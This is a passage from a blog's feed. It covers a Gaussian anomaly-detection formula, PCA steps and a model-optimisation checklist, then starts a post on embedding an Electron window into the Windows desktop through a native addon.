&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1em;vertical-align:-0.25em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:3.0652em;vertical-align:-1.4138em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop op-limits&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.6514em;&#34;&gt;&lt;span style=&#34;top:-1.8723em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span&gt;&lt;span class=&#34;mop op-symbol large-op&#34;&gt;∏&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-4.3em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.4138em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;mopen&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:0em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2861em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:3.2504em;vertical-align:-1.4138em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mop op-limits&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.6514em;&#34;&gt;&lt;span style=&#34;top:-1.8723em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;span class=&#34;mrel mtight&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span&gt;&lt;span class=&#34;mop op-symbol large-op&#34;&gt;∏&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-4.3em;margin-left:0em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.05em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.4138em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.3214em;&#34;&gt;&lt;span style=&#34;top:-2.2028em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;σ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3117em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.2861em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord sqrt&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.9072em;&#34;&gt;&lt;span class=&#34;svg-align&#34; style=&#34;top:-3em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34; style=&#34;padding-left:0.833em;&#34;&gt;&lt;span class=&#34;mord&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0359em;&#34;&gt;π&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-2.8672em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;hide-tail&#34; style=&#34;min-width:0.853em;height:1.08em;&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; width=&#34;400em&#34; height=&#34;1.08em&#34; viewBox=&#34;0 0 400000 1080&#34; preserveAspectRatio=&#34;xMinYMin slice&#34;&gt;&lt;path d=&#34;M95,702
c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14
c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54
c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10
s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429
c69,-144,104.5,-217.7,106.5,-221
l0 -0
c5.3,-9.3,12,-14,20,-14
H400000v40H845.2724
s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7
c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z
M834 80h400000v40h-400000z&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1328em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.677em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0833em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.8366em;&#34;&gt;&lt;span style=&#34;top:-3.8367em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3.0053em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen nulldelimiter sizing reset-size3 size6&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.4361em;&#34;&gt;&lt;span style=&#34;top:-2.4699em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0359em;&#34;&gt;σ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.9892em;&#34;&gt;&lt;span style=&#34;top:-2.1488em;margin-left:-0.0359em;margin-right:0.1em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.6595em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.0043em;margin-right:0.1em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.6595em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.7052em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.2255em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line mtight&#34; style=&#34;border-bottom-width:0.049em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.6872em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mopen mtight&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3448em;&#34;&gt;&lt;span style=&#34;top:-2.3448em;margin-left:0em;margin-right:0.1em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.6595em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.5092em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;μ&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3448em;&#34;&gt;&lt;span style=&#34;top:-2.3448em;margin-left:0em;margin-right:0.1em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.6595em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0572em;&#34;&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.5092em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose mtight&#34;&gt;&lt;span class=&#34;mclose mtight&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0484em;&#34;&gt;&lt;span style=&#34;top:-3.0484em;margin-right:0.1em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:1.0338em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter sizing reset-size3 size6&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Compare this joint density with the threshold &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;ε&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;\varepsilon&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;ε&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;span id=&#34;主成分分析&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;principal-component-analysis&#34; data-section=&#34;主成分分析&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#principal-component-analysis&#34;&gt;#&lt;/a&gt; Principal component analysis&lt;/h1&gt;
&lt;p&gt;PCA projects high-dimensional data into fewer dimensions. The first principal direction captures the most variance. Each subsequent direction captures as much of the remaining variance as possible while staying orthogonal to the directions already chosen. PCA does not use class labels.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Preprocess the features. For standardisation, centre them at zero and scale to unit standard deviation.&lt;/li&gt;
&lt;li&gt;Find the eigenvectors of the covariance matrix and the variance along each direction.&lt;/li&gt;
&lt;li&gt;Choose the target dimension &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;k&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0315em;&#34;&gt;k&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; based on the task or a desired fraction of explained variance.&lt;/li&gt;
&lt;li&gt;Project the observations onto the space spanned by the leading &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;k&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0315em;&#34;&gt;k&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; eigenvectors.&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;模型优化检查&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;model-optimisation-checks&#34; data-section=&#34;模型优化检查&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#model-optimisation-checks&#34;&gt;#&lt;/a&gt; Model optimisation checks&lt;/h2&gt;
&lt;p&gt;These notes consolidate an earlier post on model optimisation. They’re questions to investigate; the experiment determines which changes help.&lt;/p&gt;
&lt;span id=&#34;数据&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;data&#34; data-section=&#34;数据&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#data&#34;&gt;#&lt;/a&gt; Data&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Data quality limits what the model can achieve.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;What does each feature mean? Removing irrelevant features can save computation and reduce overfitting.&lt;/li&gt;
&lt;li&gt;Do the features have very different scales? Normalisation or standardisation can balance their influence and speed up convergence.&lt;/li&gt;
&lt;li&gt;Are there outliers? Decide whether keeping or filtering them makes the model more robust.&lt;/li&gt;
&lt;li&gt;Are there enough examples? Consider increasing the sample.&lt;/li&gt;
&lt;li&gt;Does the collection method produce representative data?&lt;/li&gt;
&lt;li&gt;Are labels assigned consistently under the same rules?&lt;/li&gt;
&lt;/ol&gt;
&lt;span id=&#34;不同的模型&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;compare-models&#34; data-section=&#34;不同的模型&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#compare-models&#34;&gt;#&lt;/a&gt; Compare models&lt;/h3&gt;
&lt;p&gt;Try different models on comparable data and compare their performance to find one that better suits the task.&lt;/p&gt;
&lt;span id=&#34;核心参数&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;key-parameters&#34; data-section=&#34;核心参数&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#key-parameters&#34;&gt;#&lt;/a&gt; Key parameters&lt;/h3&gt;
&lt;p&gt;Try every combination of the key parameter values under consideration and compare the model’s performance.&lt;/p&gt;
</content>
        <updated>2024-06-15T18:14:36.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/software-development/app-development/embedding-an-electron-window-in-the-windows-desktop/</id>
        <title>Embedding an Electron Window in the Windows Desktop</title>
        <link rel="alternate" href="https://www.sycamore.top/en/software-development/app-development/embedding-an-electron-window-in-the-windows-desktop/"/>
        <content type="html">&lt;p&gt;While building &lt;a href=&#34;/en/software-development/app-development/sentences-desktop-quotes-on-the-windows-desktop/&#34;&gt;Sentences-Desktop&lt;/a&gt;, I wanted the quote window to sit directly on the Windows desktop. I wrote &lt;a href=&#34;https://github.com/noneSycamore/electron-addtodesktop&#34;&gt;electron-addtodesktop&lt;/a&gt; to expose two operations to the Electron main process:  &lt;code&gt;attach&lt;/code&gt;  and  &lt;code&gt;detach&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;The extension has a JavaScript side and a C++ side. Here’s how the window handle gets from one to the other, where the window ends up, and what went into shipping the native extension as an npm package.&lt;/p&gt;
&lt;p&gt;&lt;span id=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;span id=&#34;想实现的效果&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;what-i-wanted-the-window-to-do&#34; data-section=&#34;想实现的效果&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#what-i-wanted-the-window-to-do&#34;&gt;#&lt;/a&gt; What I wanted the window to do&lt;/h2&gt;
&lt;p&gt;The quote window is frameless and transparent, with no taskbar entry. Those settings control how it looks. I also needed to establish its relationship with the Windows desktop.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;attach(win)&lt;/code&gt;  finds the appropriate desktop window and makes the Electron window its child. Call  &lt;code&gt;detach(win)&lt;/code&gt;  to undo the attachment.&lt;/p&gt;
&lt;p&gt;The layer I chose places the app in front of desktop icons and keeps mouse interaction working. For wallpaper behind the icons, you’d need a different layer; moving it there would also lose the interaction this arrangement provides.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696407/Typora/2026/09/sentences-desktop-original.png&#34; alt=&#34;The Sentences-Desktop quote window&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;从-javascript-传入窗口句柄&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;passing-the-window-handle-from-javascript&#34; data-section=&#34;从-javascript-传入窗口句柄&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#passing-the-window-handle-from-javascript&#34;&gt;#&lt;/a&gt; Passing the window handle from JavaScript&lt;/h2&gt;
&lt;p&gt;The project has a handful of main files:&lt;/p&gt;
&lt;figure class=&#34;highlight text&#34;&gt;&lt;figcaption data-lang=&#34;text&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;index.js                 JavaScript entry point&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;lib/addtoDesktop.cpp     Windows window operations&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;binding.gyp              Native module build configuration&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;package.json             Package metadata, dependencies and install script&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;test/index.js            Example Electron application&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The caller supplies an Electron  &lt;code&gt;BrowserWindow&lt;/code&gt; . The native code needs a Windows window handle, so the JavaScript entry point retrieves it and passes it across. Here is  &lt;code&gt;attach&lt;/code&gt;  from  &lt;code&gt;index.js&lt;/code&gt; :&lt;/p&gt;
